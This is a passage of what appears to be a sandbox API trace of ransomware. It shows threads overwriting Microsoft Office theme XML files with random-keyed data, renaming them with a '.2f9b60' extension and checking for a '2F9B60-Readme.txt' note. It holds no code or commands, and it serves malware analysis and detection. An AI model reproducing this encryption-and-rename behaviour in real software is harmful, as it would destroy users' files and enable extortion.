lpOverlapped=0x0) returned 1 [0095.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0095.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8640 [0095.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8640) returned 1 [0095.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2022a520) returned 1 [0095.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20226910) returned 1 [0095.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866fc0) returned 1 [0095.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0095.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced8640 [0095.877] SetFilePointerEx (in: hFile=0xe48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.877] WriteFile (in: hFile=0xe48, lpBuffer=0x169a20*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x288efbd0, lpOverlapped=0x0 | out: lpBuffer=0x169a20*, lpNumberOfBytesWritten=0x288efbd0*=0x106, lpOverlapped=0x0) returned 1 [0095.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0095.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866fc0 [0095.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8700 [0095.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8700) returned 1 [0095.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0095.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8700 [0095.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8730 [0095.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8730) returned 1 [0095.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866fc0) returned 1 [0095.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0095.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9ef30 [0095.889] sprintf (in: _Dest=0x1cd9ef30, _Format="%c%c" | out: _Dest="da") returned 2 [0095.889] sprintf (in: _Dest=0x1cd9ef32, _Format="%c%c" | out: _Dest="69") returned 2 [0095.889] sprintf (in: _Dest=0x1cd9ef34, _Format="%c%c" | out: _Dest="eb") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef36, _Format="%c%c" | out: _Dest="89") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef38, _Format="%c%c" | out: _Dest="be") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef3a, _Format="%c%c" | out: _Dest="9c") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef3c, _Format="%c%c" | out: _Dest="e2") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef3e, _Format="%c%c" | out: _Dest="27") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef40, _Format="%c%c" | out: _Dest="bb") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef42, _Format="%c%c" | out: _Dest="5e") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef44, _Format="%c%c" | out: _Dest="41") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef46, _Format="%c%c" | out: _Dest="52") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef48, _Format="%c%c" | out: _Dest="9d") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef4a, _Format="%c%c" | out: _Dest="93") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef4c, _Format="%c%c" | out: _Dest="80") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef4e, _Format="%c%c" | out: _Dest="f4") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef50, _Format="%c%c" | out: _Dest="f0") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef52, _Format="%c%c" | out: _Dest="be") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef54, _Format="%c%c" | out: _Dest="b5") returned 2 [0095.890] sprintf (in: _Dest=0x1cd9ef56, _Format="%c%c" | out: _Dest="f9") returned 2 [0095.890] RtlInitAnsiString (in: DestinationString=0x288efc48, SourceString="da69eb89be9ce227bb5e41529d9380f4f0beb5f9" | out: DestinationString="da69eb89be9ce227bb5e41529d9380f4f0beb5f9") [0095.890] RtlAnsiStringToUnicodeString (in: DestinationString=0x288efc18, SourceString="da69eb89be9ce227bb5e41529d9380f4f0beb5f9", AllocateDestinationString=1 | out: DestinationString="da69eb89be9ce227bb5e41529d9380f4f0beb5f9") returned 0x0 [0095.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858a90 [0095.891] wcscat (in: _Dest=0x1b7a6570, _Source="da69eb89be" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\da69eb89be") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\da69eb89be" [0095.891] wcscat (in: _Dest=0x1b7a6570, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\da69eb89be.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\da69eb89be.2f9b60" [0095.891] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\da69eb89be.2f9b60", NtPathName=0x288efbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\da69eb89be.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1187b0 [0104.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1187b0) returned 1 [0104.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266180) returned 1 [0104.739] NtQueryInformationFile (in: FileHandle=0xe48, IoStatusBlock=0x288efc58, FileInformation=0x288efc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x288efc58, FileInformation=0x288efc68) returned 0x0 [0104.739] NtSetInformationFile (FileHandle=0xe48, IoStatusBlock=0x288efc58, FileInformation=0x288efc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a6570) returned 1 [0105.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858a90) returned 1 [0105.344] FlushFileBuffers (hFile=0xe48) returned 1 [0105.350] CloseHandle (hObject=0xe48) returned 1 [0105.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279130 [0105.450] wcscpy (in: _Dest=0x20279130, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0105.450] wcscat (in: _Dest=0x20279130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0105.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0105.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279130) returned 1 [0105.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5180) returned 1 Thread: id = 606 os_tid = 0x105c [0094.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml")) returned 0x20 [0095.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml", dwFileAttributes=0x20) returned 1 [0095.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe44 [0095.157] GetFileSizeEx (in: hFile=0xe44, lpFileSize=0x2317fa00 | out: lpFileSize=0x2317fa00*=960) returned 1 [0095.157] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x3bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.157] ReadFile (in: hFile=0xe44, lpBuffer=0x2317f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2317f9c8, lpOverlapped=0x0 | out: lpBuffer=0x2317f980*, lpNumberOfBytesRead=0x2317f9c8*=0x4, lpOverlapped=0x0) returned 1 [0095.518] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0095.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f80 [0095.518] NtQuerySystemTime (in: CurrentTime=0x2317f8c0 | out: CurrentTime=0x2317f8c0*=132462177013450000) returned 0x0 [0095.518] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x27214fbe [0095.518] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x6094362c [0095.518] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x3cfa51da [0095.518] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x22a6fbca [0095.518] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x3fa86462 [0095.518] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x310efd42 [0095.518] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x1e8e2395 [0095.518] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x36663e67 [0095.518] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x719935b [0095.518] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x2efecd5a [0095.518] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x2ccf9c7e [0095.518] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x2f5757cb [0095.518] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0xde44c1f [0095.518] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x58e74d37 [0095.518] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0xac8a7b9 [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x12913436 [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x2745b4c1 [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x33323ac9 [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x111f10a5 [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x2be50cdd [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x2e48d96f [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x5117724e [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x6a8b215f [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x4bd0d427 [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x5ce18167 [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x3ada8ecf [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0xcf23119 [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x2b5114fb [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x36b709c7 [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x412468e [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x41e89b4b [0095.519] RtlRandomEx (in: Seed=0x2317f8b0 | out: Seed=0x2317f8b0) returned 0x16f88c00 [0095.528] ReadFile (in: hFile=0xe44, lpBuffer=0x2021f0f0, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x2317f8b0, lpOverlapped=0x0 | out: lpBuffer=0x2021f0f0*, lpNumberOfBytesRead=0x2317f8b0*=0x3c0, lpOverlapped=0x0) returned 1 [0095.528] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.528] WriteFile (in: hFile=0xe44, lpBuffer=0x20222d00*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2317f8b4, lpOverlapped=0x0 | out: lpBuffer=0x20222d00*, lpNumberOfBytesWritten=0x2317f8b4*=0x3c0, lpOverlapped=0x0) returned 1 [0095.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0095.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0095.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77d0) returned 1 [0095.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20222d00) returned 1 [0095.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2021f0f0) returned 1 [0095.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866f40) returned 1 [0095.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0095.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0095.769] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.769] WriteFile (in: hFile=0xe44, lpBuffer=0x1696f0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2317f9d0, lpOverlapped=0x0 | out: lpBuffer=0x1696f0*, lpNumberOfBytesWritten=0x2317f9d0*=0x104, lpOverlapped=0x0) returned 1 [0096.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0096.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0096.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c50 [0096.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c50) returned 1 [0096.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0096.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c50 [0096.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8250 [0096.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8250) returned 1 [0096.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0096.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0096.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1ced8250 [0096.014] sprintf (in: _Dest=0x1ced8250, _Format="%c%c" | out: _Dest="da") returned 2 [0096.014] sprintf (in: _Dest=0x1ced8252, _Format="%c%c" | out: _Dest="39") returned 2 [0096.014] sprintf (in: _Dest=0x1ced8254, _Format="%c%c" | out: _Dest="24") returned 2 [0096.014] sprintf (in: _Dest=0x1ced8256, _Format="%c%c" | out: _Dest="2d") returned 2 [0096.014] sprintf (in: _Dest=0x1ced8258, _Format="%c%c" | out: _Dest="0b") returned 2 [0096.014] sprintf (in: _Dest=0x1ced825a, _Format="%c%c" | out: _Dest="98") returned 2 [0096.014] sprintf (in: _Dest=0x1ced825c, _Format="%c%c" | out: _Dest="1f") returned 2 [0096.015] sprintf (in: _Dest=0x1ced825e, _Format="%c%c" | out: _Dest="a7") returned 2 [0096.015] sprintf (in: _Dest=0x1ced8260, _Format="%c%c" | out: _Dest="90") returned 2 [0096.015] sprintf (in: _Dest=0x1ced8262, _Format="%c%c" | out: _Dest="95") returned 2 [0096.015] sprintf (in: _Dest=0x1ced8264, _Format="%c%c" | out: _Dest="61") returned 2 [0096.015] sprintf (in: _Dest=0x1ced8266, _Format="%c%c" | out: _Dest="bf") returned 2 [0096.015] sprintf (in: _Dest=0x1ced8268, _Format="%c%c" | out: _Dest="0a") returned 2 [0096.015] sprintf (in: _Dest=0x1ced826a, _Format="%c%c" | out: _Dest="e8") returned 2 [0096.015] sprintf (in: _Dest=0x1ced826c, _Format="%c%c" | out: _Dest="21") returned 2 [0096.015] sprintf (in: _Dest=0x1ced826e, _Format="%c%c" | out: _Dest="d8") returned 2 [0096.015] sprintf (in: _Dest=0x1ced8270, _Format="%c%c" | out: _Dest="c6") returned 2 [0096.015] sprintf (in: _Dest=0x1ced8272, _Format="%c%c" | out: _Dest="a7") returned 2 [0096.015] RtlInitAnsiString (in: DestinationString=0x2317fa48, SourceString="da39242d0b981fa7909561bf0ae821d8c6a7" | out: DestinationString="da39242d0b981fa7909561bf0ae821d8c6a7") [0096.015] RtlAnsiStringToUnicodeString (in: DestinationString=0x2317fa18, SourceString="da39242d0b981fa7909561bf0ae821d8c6a7", AllocateDestinationString=1 | out: DestinationString="da39242d0b981fa7909561bf0ae821d8c6a7") returned 0x0 [0096.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858790 [0096.015] wcscat (in: _Dest=0x1ce11550, _Source="da39242d0" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\da39242d0") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\da39242d0" [0096.015] wcscat (in: _Dest=0x1ce11550, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\da39242d0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\da39242d0.2f9b60" [0096.015] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\da39242d0.2f9b60", NtPathName=0x2317f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\da39242d0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x118f00 [0107.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118f00) returned 1 [0107.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267bc0) returned 1 [0107.615] NtQueryInformationFile (in: FileHandle=0xe44, IoStatusBlock=0x2317fa58, FileInformation=0x2317fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2317fa58, FileInformation=0x2317fa68) returned 0x0 [0107.615] NtSetInformationFile (FileHandle=0xe44, IoStatusBlock=0x2317fa58, FileInformation=0x2317fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11550) returned 1 [0107.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858790) returned 1 [0107.659] FlushFileBuffers (hFile=0xe44) returned 1 [0107.663] CloseHandle (hObject=0xe44) returned 1 [0107.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x108080 [0107.686] wcscpy (in: _Dest=0x108080, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0107.686] wcscat (in: _Dest=0x108080, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0107.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0107.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108080) returned 1 [0107.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad020) returned 1 Thread: id = 607 os_tid = 0x1060 [0094.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml")) returned 0x20 [0095.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml", dwFileAttributes=0x20) returned 1 [0095.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe3c [0095.153] GetFileSizeEx (in: hFile=0xe3c, lpFileSize=0x28ccfa20 | out: lpFileSize=0x28ccfa20*=966) returned 1 [0095.153] SetFilePointerEx (in: hFile=0xe3c, liDistanceToMove=0x3c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.153] ReadFile (in: hFile=0xe3c, lpBuffer=0x28ccf9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28ccf9e8, lpOverlapped=0x0 | out: lpBuffer=0x28ccf9a0*, lpNumberOfBytesRead=0x28ccf9e8*=0x4, lpOverlapped=0x0) returned 1 [0095.557] SetFilePointerEx (in: hFile=0xe3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82b0 [0095.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8340 [0095.558] NtQuerySystemTime (in: CurrentTime=0x28ccf8e0 | out: CurrentTime=0x28ccf8e0*=132462177013918000) returned 0x0 [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x31ba6042 [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x3c450ffa [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0xaf62e9c [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x47683cfc [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x3847a810 [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x7de1fd98 [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x21dba8ad [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x538fbaef [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x2b9d3d0 [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x6349855e [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x39a78501 [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x25034b88 [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x53e2f8e9 [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0xa2e9aad [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x12f8ac19 [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x617fd11f [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x7955a730 [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0xd67cb43 [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x4324e027 [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x2a83e5ff [0095.558] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x60be38ff [0095.559] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x34e74e68 [0095.559] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0xb28d00 [0095.559] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x43d8fa9e [0095.559] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0xfb1af01 [0095.559] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x3e0f3ffe [0095.559] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x168db2f6 [0095.559] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x1b6c6331 [0095.559] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x73ae46c7 [0095.559] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x3d194a2c [0095.559] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0xb4d0211 [0095.559] RtlRandomEx (in: Seed=0x28ccf8d0 | out: Seed=0x28ccf8d0) returned 0x40cad298 [0095.568] ReadFile (in: hFile=0xe3c, lpBuffer=0x20235950, nNumberOfBytesToRead=0x3c6, lpNumberOfBytesRead=0x28ccf8d0, lpOverlapped=0x0 | out: lpBuffer=0x20235950*, lpNumberOfBytesRead=0x28ccf8d0*=0x3c6, lpOverlapped=0x0) returned 1 [0095.568] SetFilePointerEx (in: hFile=0xe3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.568] WriteFile (in: hFile=0xe3c, lpBuffer=0x20239560*, nNumberOfBytesToWrite=0x3c6, lpNumberOfBytesWritten=0x28ccf8d4, 